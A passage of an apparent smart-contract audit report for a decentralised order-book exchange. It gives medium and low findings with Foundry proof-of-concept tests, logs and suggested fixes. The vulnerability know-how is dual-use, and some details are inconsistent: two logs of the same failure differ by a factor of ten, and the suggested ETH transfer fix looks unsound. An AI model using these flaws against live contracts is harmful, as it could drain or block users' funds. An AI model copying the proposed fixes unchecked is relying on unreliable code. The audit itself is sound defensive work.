Ran 1 test suite in 13.61ms (5.08ms CPU time): 1 tests passed, 0 failed
    , 0 skipped (1 total tests)
```

#### Recommendation

Use `AND` (`&&`) instead of `OR` (`||`).

```
    //Orders can be cancelled if the status is OPEN or PARTIALLY_FILLED
    // Using AND (&&) instead of OR (||)
    if (orderStatus != Status.OPEN && orderStatus != Status.
        PARTIALLY_FILLED) {
        revert OrderIsNotOpenOrder(orderStatus);
```

```
5       }
```

## Medium

### [M-01] ETH Native Token Decimals Not Handled

#### Severity

**Impact:** Medium

**Likelihood:** Medium

#### Finding Description

Issue was discovered in the implementation of the `decimals()` function in `CurrencyLibrary` that causes undefined behavior when handling the native ETH token. The function does not have special handling for ETH represented as `address(0)`, resulting in a call to a non-existent contract that results in undefined behavior.

Testing shows that a call to `address(0).decimals()` returns `success = true` but `returnData.length = 0`, no valid decimals value is returned for ETH. This results in calculation errors with an error factor of up to 10^18.

Problematic function part in Currency.sol#L92-L96:

```
1  function decimals(Currency currency) internal view returns (uint8) {
2      // ⚠ ISSUE: Directly calling IERC20.decimals() without ETH
           validation
3      return IERC20(Currency.unwrap(currency)).decimals();
4      }
```

The function does not check whether `currency` is ETH (`address(0)`).

The call technically succeeded (`success = true`), but there is no return data (`returnData.length = 0`). The decoder will return the default value (0) or revert.

#### Proof of Concept

Add to `PoolManagerTest.t.sol`.

```
function testETHDecimalsBugCausesRevert() public {
    // Setup: Create ETH native currency (address(0))
    Currency ethNative = Currency.wrap(address(0)); // ETH native token

    // 🔍 PROOF: Direct low-level call to demonstrate the issue
    address ethAddress = Currency.unwrap(ethNative);
    assertEq(ethAddress, address(0), "ETH should be address(0)");

    // 🔍 PROOF: address(0) has no code, so any function call should fail
    uint256 codeSize;
    assembly {
        codeSize := extcodesize(ethAddress)
    }
    assertEq(codeSize, 0, "address(0) should have no code");

    // 🔍 PROOF: But the decimals() call somehow doesn't revert as expected
    // This demonstrates the bug in CurrencyLibrary.decimals()

    // Let's test what actually happens when we call decimals on address(0)
    bool success;
    bytes memory returnData;

    (success, returnData) = ethAddress.staticcall(abi.encodeWithSignature("decimals()"));

    console.log("Call success:", success);
    console.log("Return data length:", returnData.length);

    if (success && returnData.length > 0) {
        uint8 decimals = abi.decode(returnData, (uint8));
        console.log("Decoded decimals:", decimals);
    }

    // 🔍 PROOF: The issue is that CurrencyLibrary.decimals() doesn't handle ETH properly
    // It should return 18 for ETH but instead tries to call decimals() on address(0)

    // 🔍 PROOF: Compare with working ERC20 token
    uint8 usdcDecimals = usdc.decimals();
    assertEq(usdcDecimals, 6, "USDC correctly returns 6 decimals");
}
```

Result:

```
forge test --match-test testETHDecimalsBugCausesRevert -vvv🔍
[] Compiling...
```

```
No files changed, compilation skipped

Ran 1 test for test/PoolManagerTest.t.sol:PoolManagerTest
[PASS] testETHDecimalsBugCausesRevert() (gas: 14796)
Logs:
  Call success: true
  Return data length: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.96ms
    (820.14µs CPU time)

Ran 1 test suite in 17.35ms (3.96ms CPU time): 1 tests passed, 0 failed
    , 0 skipped (1 total tests)
```

#### Recommendation

Update `CurrencyLibrary.decimals()`.

```
function decimals(Currency currency) internal view returns (uint8) {
    // ✅ FIX: Handle ETH native token explicitly
    if (isAddressZero(currency)) {
        return 18; // ETH standard decimals
    } else {
        return IERC20(Currency.unwrap(currency)).decimals();
    }
}
```

### [M-02] Non-existent Payable Modifier

#### Severity

**Impact:** Medium

**Likelihood:** Low

#### Finding Description

The platform experienced an issue that caused a failure in handling the native ETH token. This issue resulted in users being unable to deposit ETH into the platform, there being no mechanism to trade ETH, and ETH pools being unable to receive liquidity.

Problematic parts in Currency.sol#L47-L53

```
function transferFrom(Currency currency, address from, address to,
    uint256 amount) internal {
    if (isAddressZero(currency)) {
        // ❌ CRITICAL ISSUE: ETH is immediately rejected without
            handling
        revert NativeTransferFailed();
    } else {
        SafeTransferLib.safeTransferFrom(Currency.unwrap(currency),
            from, to, amount);
    }
}
```

The `transferFrom()` function is designed to explicitly reject ETH, there is no alternative mechanism to handle ETH transfers. ETH transfers require a direct `msg.value` or a `call` with ETH.

```
User Operation → BalanceManager.deposit() → CurrencyLibrary.
    transferFrom() →❌  REVERT
```

#### Proof of Concept

Add to `BalanceManagerTest.t.sol`.

```
function testETHDepositFailsDueToTransferFromError() public {
    // Setup: Create ETH native currency (address(0))
    Currency ethNative = Currency.wrap(address(0)); // ETH native token
    uint256 depositAmount = 1 ether;

    // Setup: Give user ETH balance
    vm.deal(user, 10 ether);

    // Setup: Set operator as authorized for BalanceManager
    vm.prank(owner);
    balanceManager.setAuthorizedOperator(operator, true);

    // PROOF: ETH deposit will fail due to transferFrom limitation
    vm.prank(user);
    vm.expectRevert();
    balanceManager.deposit(ethNative, depositAmount, user, user);

    // PROOF: Compare with ERC20 deposit that works fine
    // First approve WETH for transfer
    vm.prank(user);
    MockWETH(Currency.unwrap(weth)).approve(address(balanceManager),
        depositAmount);

    // WETH deposit should work normally
    vm.prank(user);
    balanceManager.deposit(weth, depositAmount, user, user);
```

```
26
27      // Verify WETH deposit succeeded
28      uint256 wethBalance = balanceManager.getBalance(user, weth);
29      assertEq(wethBalance, depositAmount, "WETH deposit should succeed")
            ;
30
31      // PROOF: ETH balance remains 0 because deposit failed
32      uint256 ethBalance = balanceManager.getBalance(user, ethNative);
33      assertEq(ethBalance, 0, "ETH deposit should fail, balance remains 0
            ");
34
35      console.log("ETH balance in BalanceManager:", ethBalance);
36      console.log("WETH balance in BalanceManager:", wethBalance);
37      console.log("User's actual ETH balance:", user.balance);
38
39      // PROOF: Demonstrate the core issue - ETH cannot be deposited at
            all
40      assertTrue(ethBalance == 0, "ETH deposits are completely broken");
41      assertTrue(wethBalance > 0, "Only ERC20 tokens work, not native ETH
            ");
42      assertTrue(user.balance == 10 ether, "User's ETH remains in wallet,
             cannot be deposited");
43  }
```

Result:

```
1  forge test --match-test testETHDepositFailsDueToTransferFromError -vvv
2  [] Compiling...
3  [] Compiling 1 files with Solc 0.8.26
4  [] Solc 0.8.26 finished in 9.87s
5  Compiler run successful!
6
7  Ran 1 test for test/BalanceManagerTest.t.sol:BalanceManagerTest
8  [PASS] testETHDepositFailsDueToTransferFromError() (gas: 144203)
9  Logs:
10   ETH balance in BalanceManager: 0
11   WETH balance in BalanceManager: 10000000000000000000
12   User's actual ETH balance: 10000000000000000000
13
14 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.27ms
       (1.50ms CPU time)
15
16 Ran 1 test suite in 16.63ms (3.27ms CPU time): 1 tests passed, 0 failed
       , 0 skipped (1 total tests)
```

**Recommendation**

Handle ETH transfers correctly in the `transferFrom` function in `CurrencyLibrary` and add `payable` to the `deposit` function in `BalanceManager`.

```
// In CurrencyLibrary
function transferFrom(Currency currency, address from, address to,
    uint256 amount) internal {
    if (isAddressZero(currency)) {
        // ⚠️ FIX: Handle ETH transfer properly
        require(from == msg.sender, "ETH transfer requires direct
            sender");
        require(address(this).balance >= amount, "Insufficient contract
             ETH balance");

        // Transfer ETH using SafeTransferLib
        SafeTransferLib.safeTransferETH(to, amount);
    } else {
        // ERC20 transfer remains unchanged
        SafeTransferLib.safeTransferFrom(Currency.unwrap(currency),
            from, to, amount);
    }
}

// In BalanceManager
function deposit(Currency currency, uint256 amount, address sender,
    address user) public payable nonReentrant {
    if (amount == 0) {
        revert ZeroAmount();
    }

    Storage storage $ = getStorage();
    if (msg.sender != user && !$.authorizedOperators[msg.sender]) {
        revert UnauthorizedOperator(msg.sender);
    }

    // ⚠️ FIX: Handle ETH vs ERC20 differently
    if (currency.isAddressZero()) {
        // ETH deposit - require exact msg.value
        require(msg.value == amount, "Incorrect ETH amount sent");
        // ETH already received via msg.value, no transfer needed
    } else {
        // ERC20 deposit - no ETH should be sent
        require(msg.value == 0, "No ETH should be sent for ERC20
            deposit");
        currency.transferFrom(sender, address(this), amount);
    }

    // Update balance (same for both ETH and ERC20)
    uint256 currencyId = currency.toId();
    unchecked {
        $.balanceOf[user][currencyId] += amount;
    }

    emit Deposit(user, currencyId, amount);
```

```
45 }
```

### [M-03] Liquidity Fragmentation Due to Non-Deterministic Currency Order in Pool Creation

#### Severity

**Impact:** High

**Likelihood:** Low

#### Finding Description

The `createPoolKey()` function in the `PoolManager` contract does not normalize the currency order, causing pools with the same currency pair but different orders to be treated as different pools. This results in serious liquidity fragmentation where a single currency pair (e.g. WETH/USDC) can have multiple separate pools (WETH/USDC and USDC/WETH) with different `OrderBooks`.

This problem occurs because the `createPoolKey()` function does not enforce canonical ordering for currency pairs, pool ID generation depends on the order of currencies in the `PoolKey`, there is no validation to prevent the creation of duplicate pools with reverse order, and the `poolExists()` function is inconsistent in checking for pool existence.

The `createPoolKey` function is not deterministic in PoolManager.sol#L164:

```
function createPoolKey(Currency currency1, Currency currency2) public
    pure returns (PoolKey memory) {
     // ⚠ PROBLEM: No currency sequence normalization
     return PoolKey({baseCurrency: currency1, quoteCurrency: currency2})
         ;
}

// currency1 is always the baseCurrency, currency2 is always the
    quoteCurrency
// There is no standardization of what should be the base/quote.
```

Pool ID generation depends on the order in Pool.sol#L14-L20:

```
function toId(PoolKey memory poolKey) internal pure returns (PoolId
    poolId) {
     assembly {
         poolId := keccak256(poolKey, 0x40)
     }
}

```

```
// Different order = different hash = different pool ID
// PoolKey{ETH, USDC} ≠ PoolKey{USDC, ETH}
// Generate different Pool IDs for the same currency pair
```

The `createPool` function does not validate duplicates:

```
PoolKey memory key = createPoolKey(_baseCurrency, _quoteCurrency);
PoolId id = key.toId();

// ⚠ PROBLEM: No check if pool with currency pair already exists
// Proceed directly to new pool creation without validation
```

`poolExists` function is inconsistent in PoolManager.sol#L153-L156:

```
function poolExists(Currency currency1, Currency currency2) public view
    returns (bool) {
    PoolKey memory key = createPoolKey(currency1, currency2);
    return address(getStorage().pools[key.toId()].orderBook) != address
        (0);
}

// poolExists(ETH, USDC) ≠ poolExists(USDC, ETH)
// Even though logically it should be the same
```

**Proof of Concept**

Add to `PoolManagerTest.t.sol`.

```
function testPoolKeyOrderDependency() public {
    // Setup
    vm.prank(owner);
    poolManager.setRouter(operator);

    // Create pool ETH/USDC
    vm.prank(owner);
    PoolId pool1 = poolManager.createPool(weth, usdc,
        defaultTradingRules);

    // Create pool USDC/ETH (reverse order)
    vm.prank(owner);
    PoolId pool2 = poolManager.createPool(usdc, weth,
        defaultTradingRules);

    // ⚠ PROOF: Different pool IDs for same currency pair
    assertNotEq(PoolId.unwrap(pool1), PoolId.unwrap(pool2), "Pool IDs
        should be different");

    // ⚠ PROOF: Both pools exist
```

```
18      assertTrue(poolManager.poolExists(weth, usdc), "ETH/USDC pool
            should exist");
19      assertTrue(poolManager.poolExists(usdc, weth), "USDC/ETH pool
            should exist");
20
21      // ✅ PROOF: Different OrderBooks
22      IOrderBook orderBook1 = poolManager.getPool(poolManager.
            createPoolKey(weth, usdc)).orderBook;
23      IOrderBook orderBook2 = poolManager.getPool(poolManager.
            createPoolKey(usdc, weth)).orderBook;
24      assertNotEq(address(orderBook1), address(orderBook2), "OrderBooks
            should be different");
25  }
```

**Recommendation**

Implement canonical ordering.

```
1   function createPoolKey(Currency currency1, Currency currency2) public
        pure returns (PoolKey memory) {
2   -    return PoolKey({baseCurrency: currency1, quoteCurrency: currency2})
        ;
3
4        // ✅ FIX: Canonical ordering berdasarkan address value
5   +    address addr1 = Currency.unwrap(currency1);
6   +    address addr2 = Currency.unwrap(currency2);
7
8   +    if (addr1 < addr2) {
9   +        return PoolKey({baseCurrency: currency1, quoteCurrency:
        currency2});
10  +    } else {
11  +        return PoolKey({baseCurrency: currency2, quoteCurrency:
        currency1});
12  +    }
13  }
```

### [M-04] Actual swapped amount can be different if user have opposite side order when swapping

**Severity**

**Impact:** High

**Likelihood:** Low

**Finding Description**

`GTXRouter::swap` would try to place market order in `OrderBook` via `placeMarketOrder` which after sufficient balance validation would later call `OrderBook::placeMarketOrder` and then proceed to match the order via `_matchOrder` to complete the swap.

problem arise when the user who initiating the swap also have open order on the opposing side which would then trigger the cancel order in `_matchOrder`:

```
            while (currentOrderId != 0 && remaining > 0) {
                Order storage matchingOrder = $.orders[currentOrderId];
                uint48 nextOrderId = matchingOrder.next;

                if (matchingOrder.expiry < block.timestamp) {
                    _handleExpiredOrder(queue, matchingOrder);
@>              } else if (matchingOrder.user == user) {
@>                  _cancelOrder(currentOrderId, user);
                } else {
                    (remaining, filled) = _processMatchingOrder(
                        order, matchingOrder, queue, bestPrice,
                            remaining, filled, side, user, isMarketOrder
                    );
                }
                currentOrderId = nextOrderId;
            }
```

this seems fine at first glance, as this is used to prevent the user to match their own order.

but `_cancelOrder` would increase the user balance inside `BalanceManager` because the order are cancelled and the amount is returned to the user.

as we know later in the slippage check, the amount checked is the balance inside `BalanceManager` and not only the resulting swap amount. this also including the amount of cancelled order. see GTXRouter.sol#L350-L357

```
        uint256 balanceBefore = balanceManager.getBalance(user,
            dstCurrency);
        _placeMarketOrderForSwap(key, srcAmount, side, user);
        // Calculate the amount received
        uint256 balanceAfter = balanceManager.getBalance(user,
            dstCurrency);
        receivedAmount = balanceAfter - balanceBefore;
        // Ensure minimum destination amount is met
        if (receivedAmount < minDstAmount) {
            revert SlippageTooHigh(receivedAmount, minDstAmount);
        }
```

**Proof of Concept**

the scenario is when bob have open order on opposite side of the swap that would get cancelled inside the swap function.

add this to `GTXRouterTest.t.sol`:

```
    function test_poc_swapButHaveOpenOrderOnOppositeSide() public {
        // mint WETH and USDC for Alice and Bob
        mockWETH.mint(alice, 10e18);
        mockWETH.mint(bob, 10e18);
        mockUSDC.mint(bob, 15000e6); // 15000 USDC

        // Setup a sell order for WETH-USDC
        vm.startPrank(alice);
        IERC20(Currency.unwrap(weth)).approve(address(balanceManager),
            10e18);

        uint128 sellPrice = 1000e6; // 1000 USDC per ETH
        uint128 sellQty = 10e18; // 10 ETH
        IPoolManager.Pool memory pool = _getPool(weth, usdc);

        // alice place sell order
        gtxRouter.placeOrderWithDeposit(pool, sellPrice, sellQty,
            IOrderBook.Side.SELL, alice);
        vm.stopPrank();

        // bob also have sell order but slightly higher price
        vm.startPrank(bob);
        IERC20(Currency.unwrap(weth)).approve(address(balanceManager),
            10e18);

        uint256 bobWETHBalanceBefore = IERC20(Currency.unwrap(weth)).
            balanceOf(bob);
        uint256 bobUSDCBalanceBefore = IERC20(Currency.unwrap(usdc)).
            balanceOf(bob);

        // bob place sell order
        uint128 bobSellPrice = 1010e6; // 1010 USDC per ETH
        gtxRouter.placeOrderWithDeposit(pool, bobSellPrice, sellQty,
            IOrderBook.Side.SELL, bob);
        vm.stopPrank();

        // here we simulate some time passed and market conditions
            changed, and now the best selling price is alice price

        // Bob will perform the swap: USDC -> WETH
        // he want to get 15e18 WETH with his 15000 USDC at 1000 USDC
            per WETH
        // but because alice only have 10e18 weth on 1000 USDC, the
            order would try to check next best price
```

```
        // which is bob's order at 1010 USDC per WETH
        vm.startPrank(bob);
        IERC20(Currency.unwrap(usdc)).approve(address(balanceManager),
            15000e6);

        // Quantity in base units (ETH) - we want to buy 15 ETH
        uint256 minReceived = 15e18 - 15e18 * feeTaker / 1000;

        // Execute the swap - note we're passing ETH amount as the
            quantity
        gtxRouter.swap(
            usdc, // Source is USDC
            weth, // Target is WETH
            15000e6, // Amount of USDC to swap (15000 USDC)
            minReceived,
            2, // Max hops
            bob
        );

        // actual balance after swap
        uint256 bobWETHBalanceAfter = IERC20(Currency.unwrap(weth)).
            balanceOf(bob);
        uint256 bobUSDCBalanceAfter = IERC20(Currency.unwrap(usdc)).
            balanceOf(bob);

        console.log("the resulting swap is:");
        console.log("bob spent USDC:", bobUSDCBalanceBefore -
            bobUSDCBalanceAfter);
        console.log("bob received WETH:", bobWETHBalanceAfter -
            bobWETHBalanceBefore);

        // assert the slippage
        assertGt(bobWETHBalanceAfter - bobWETHBalanceBefore,
            minReceived, "Bob should receive at least 14.85 WETH after
            slippage");
        vm.stopPrank();
    }
```

then run the test `forge test --mt test_poc_swapButHaveOpenOrderOnOppositeSide -vv`:

```
Ran 1 test for test/GTXRouterTest.t.sol:GTXRouterTest
[FAIL: Bob should receive at least 14.85 WETH after slippage:
    9950000000000000000 <= 14925000000000000000]
    test_poc_swapButHaveOpenOrderOnOppositeSide() (gas: 1057243)
Logs:
  the resulting swap is:
  bob spent USDC: 15000000000
  bob received WETH: 9950000000000000000

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 8.41ms
```

```
        (6.52ms CPU time)

Ran 1 test suite in 9.01ms (8.41ms CPU time): 0 tests passed, 1 failed,
    0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/GTXRouterTest.t.sol:GTXRouterTest
[FAIL: Bob should receive at least 14.85 WETH after slippage:
   995000000000000000 <= 1492500000000000000]
   test_poc_swapButHaveOpenOrderOnOppositeSide() (gas: 1057243)
```

here the swap call is succeed but the actual amount bob get is lower than the amount desired.

bob wants 15WETH for 15000 USDC but after spending 15000 USDC for swap he only got 9.95WETH

#### Recommendation

`OrderBook::placeMarketOrder` should also return the filled amount that is returned by `_matchOrder` because this is the filled swap value amount.

then after we got the actual filled amount, we can compare it to `minDstAmount` for slippage.

avoid rely on `BalanceManager` balance for slippage check, because its not only increased by swap but can increased via cancelled order, making the swap that should fail became succeed.

### [M-05] `_tradingRules` are not validated

#### Severity

**Impact:** High

**Likelihood:** Low

#### Finding Description

`createPool` is a permisionless function. the current implementation lacks the validation of `_tradingRules` params. this can be used to grief the contract by creating pool that have absurd rules.

PoolManager.sol#L53-L67:

```
    function createPool(
        Currency _baseCurrency,
        Currency _quoteCurrency,
```

```
4           IOrderBook.TradingRules memory _tradingRules
5       ) external returns (PoolId) {
6           Storage storage $ = getStorage();
7           if ($.router == address(0)) {
8               revert InvalidRouter();
9           }
10
11          PoolKey memory key = createPoolKey(_baseCurrency,
                _quoteCurrency);
12          PoolId id = key.toId();
13
14          bytes memory initData =
15  @>              abi.encodeWithSelector(IOrderBook.initialize.selector,
        address(this), $.balanceManager, _tradingRules, key);
```

as we can see, the `_tradingRules` is used to create `initData` but there are no validation whether this value is acceptable or not.

#### Recommendation

this is a hard problem because of the permissionless way of the function.

but there are multiple ways to atleast mitigate the impact of this issue:

1. validate the `_tradingRules` before using it for `initData`, like min or max value.
2. create function to override `_tradingRules` for specific pool so if there are pool that have malicious rules, admin can override it.
3. create a preset for rules by the characteristic of common token, so this params are not from user input:
    1. low volatility
    2. med volatility
    3. high volatility

### [M-06] Creating order via `GTXRouter` can only set in GTC

#### Severity

**Impact:** Medium

**Likelihood:** Medium

#### Finding Description

When creating limit order or market order via `GTXRouter` the `TimeInForce` would always GTC. There are no options to create other type of `TimeInForce` currently.

#### Recommendation

consider to implement the other time-priority mode in `GTXRouter` as the logic in `OrderBook` already suffice for them.

### [M-07] Mishandling on `_validateCallerBalance` when user initiate `placeMarketOrder` causes `requiredBalance` always return 0

#### Severity

**Impact:** Medium

**Likelihood:** Medium

#### Finding Description

It can be seen in the `placeMarketOrder()` function, the value entered in the price variable = 0 and in the description in `isMarketOrder` = false.

```
function placeMarketOrder(
        IPoolManager.Pool memory pool,
        uint128 _quantity,
        IOrderBook.Side _side,
        address _user
    ) public returns (uint48 orderId) {
        _validateCallerBalance(pool, _user, _side, _quantity, 0, false,
            false);
        return _placeMarketOrder(pool, _quantity, _side, _user);
    }
```

Meanwhile, if we look at the `_validateCallerBalance()` function, because of the two values of the two variables above, the calculation value for `requiredBalance = 0` if the user initiates a BUY market order.

```
if (_side == IOrderBook.Side.BUY) {
   depositCurrency = pool.quoteCurrency;
   uint128 price;

```

```
5         if (_isMarketOrder) {
6            price = pool.orderBook.getBestPrice(IOrderBook.Side.SELL).
                 price;
7         } else {
8           price = _price;
9          }
10
11  // price will be equal to 0 then requiredBalance = 0
12  requiredBalance = PoolIdLibrary.baseToQuote(_quantity, price, pool.
       baseCurrency.decimals());
```

**Proof of Concept**

add modify function for testing only into `GTXRouter.sol` :

```
1  function placeMarketOrderInvalidRequiredBalanceValidation(
2          IPoolManager.Pool memory pool,
3          uint128 _quantity,
4          IOrderBook.Side _side,
5          address _user
6      ) public view returns (Currency depositBalance, uint256
           requiredBalance) {
7          (depositBalance, requiredBalance) = _validateCallerBalance(pool,
               _user, _side, _quantity, 0, false, false);
8      }
```

This function only to show how `requiredBalance` didn't work as expected

add test on `GTXRouterTest.sol` and run `forge test --match-test testInvalidValidationForRe -vvv`

```
1   function testInvalidValidationForRequiredBalance() public {
2          IPoolManager.Pool memory pool = _getPool(weth, usdc);
3
4          // Setup a proper order book with liquidity on both sides
5          vm.startPrank(user);
6          // Add sell orders
7          mockWETH.mint(user, 10 ether);
8          IERC20(Currency.unwrap(weth)).approve(address(balanceManager),
               10 ether);
9          balanceManager.deposit(weth, 10 ether, user, user);
10         uint128 sellPrice = 3000 * 10 ** 6; // 3000 USDC per ETH
11         uint128 sellQty = 1 * 10 ** 18; // 1 ETH
12         gtxRouter.placeOrder(pool, sellPrice, sellQty, IOrderBook.Side.
               SELL, user);
13
14         // Add buy orders
15         mockUSDC.mint(user, 10_000 * 10 ** 6);
```

```
        IERC20(Currency.unwrap(usdc)).approve(address(balanceManager),
            10_000 * 10 ** 6);
        balanceManager.deposit(usdc, 10_000 * 10 ** 6, user, user);
        uint128 buyPrice = 2900 * 10 ** 6; // 2900 USDC per ETH
        uint128 buyQty = 1 * 10 ** 18; // 1 ETH
        gtxRouter.placeOrder(pool, buyPrice, buyQty, IOrderBook.Side.
            BUY, user);
        vm.stopPrank();

        address victim = makeAddr("victim");

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        uint128 buyMarketQty = 5 * 10 ** 17; // 0.5 ETH
        (Currency depositBalance, uint256 requiredBalance) = gtxRouter.
            placeMarketOrderInvalidRequiredBalanceValidation(pool,
            buyMarketQty, IOrderBook.Side.BUY, victim);
        console.log("Required Balance:", requiredBalance);
        vm.stopPrank();
    }
```

Result :

```
Ran 1 test for test/GTXRouterTest.t.sol:GTXRouterTest
[PASS] testInvalidValidationForRequiredBalance() (gas: 691597)
Logs:
  Required Balance: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.06ms
    (11.06ms CPU time)

Ran 1 test suite in 4.50s (39.06ms CPU time): 1 tests passed, 0 failed,
     0 skipped (1 total tests)
```

### Recommendation

Consider change the value for `isMarketOrder` variable from false to true

```
function placeMarketOrder(
        IPoolManager.Pool memory pool,
        uint128 _quantity,
        IOrderBook.Side _side,
        address _user
    ) public returns (uint48 orderId) {
        _validateCallerBalance(pool, _user, _side, _quantity, 0, true,
            false);
        return _placeMarketOrder(pool, _quantity, _side, _user);
    }
```

## Low

### [L-01] Order Status Not Updated During Matching Process

#### Finding Description

An issue was found in the `OrderBook` contract where the order status was not updated correctly after the matching process occurred. When an order experienced a partial fill or full fill, the order status still showed `OPEN` (0) when it should have changed to `PARTIALLY_FILLED` (1) or `FILLED` (2) according to the actual condition of the order.

This issue caused serious data inconsistencies between the actual condition of the order (quantity filled) and the status recorded in the system.

The root of the problem lies in the `_matchOrder` and `_processMatchingOrder` functions in the OrderBook.sol#L391-L398.

In the `_processMatchingOrder` function, when the matching order is successfully executed and `matchingOrder.filled` is updated, the order status is not updated.

```
matchingOrder.filled += executedQuantity;  // ☒ Filled updated
queue.totalVolume -= executedQuantity;     // ☒ Volume updated

// If the matching order is full, delete it from the queue.
if (matchingOrder.filled == matchingOrder.quantity) {
    _removeOrderFromQueue(queue, matchingOrder);
    // ☒ MISSING: Status not updated to FILLED
}
// ☒ MISSING: No status update for partial fill
```

The `_handleTimeInForce` function only updates the status for newly placed orders, not for existing matched orders. the `_removeOrderFromQueue` function only removes an order from the queue without updating the status to `FILLED`.

#### Recommendation

Update corresponding status in `_processMatchingOrder`.

### [L-02] Swap Failure Due to Token Approval Flow Error

#### Finding Description

An issue was discovered in the `swap()` function in the `GTXRouter` contract that caused all swap operations to fail. The issue occurred due to an implementation error in the `executeDirectSwap()` function that used an inappropriate token approval flow.

When users initiate a swap, they naturally give their approval to the Router contract. However, the current implementation expects users to give their approval directly to the `BalanceManager`, which goes against common DEX design patterns.

The root of the problem lies in the following line of code in the `executeDirectSwap()` function in GTXRouter.sol#L348:

```
function executeDirectSwap(...) internal returns (uint256 receivedAmount) {
    // ...

    // BUG: Using msg.sender as sender for deposits
    balanceManager.deposit(srcCurrency, srcAmount, msg.sender, user);
    //                                              ^^^^^^^^^^
    //                                              This is the problem

    // ...
}
```

The `msg.sender` parameter in this context is the user who calls the swap function. In the `deposit()` function the function signature is `deposit(Currency currency, uint256 amount, address sender, address user)`. The problem is that the sender parameter is used by `BalanceManager` to do `transferFrom(sender, address(this), amount)`. This causes a conflict where the user only gives approval to `GTXRouter`, not to `BalanceManager`.

#### Recommendation

Use the Router as an intermediary.

```
    // FIX: Router receives token from user first
    srcCurrency.transferFrom(msg.sender, address(this), srcAmount);

    // Then the router deposits it into BalanceManager
    balanceManager.deposit(srcCurrency, srcAmount, address(this), user);
```

### [L-03] taker and maker fee is swapped

#### Summary

Taker is the one who take the liquidity and Maker is the on who make the liquidity. But at current implementation, taker fee is used in `BalanceManager::transferLockedFrom` while maker fee is used in `BalanceManager::transferFrom`.

#### Recommendation

1. for `transferFrom` it should use `feeTaker`
2. for `transferLockedFrom` it should use `feeMaker`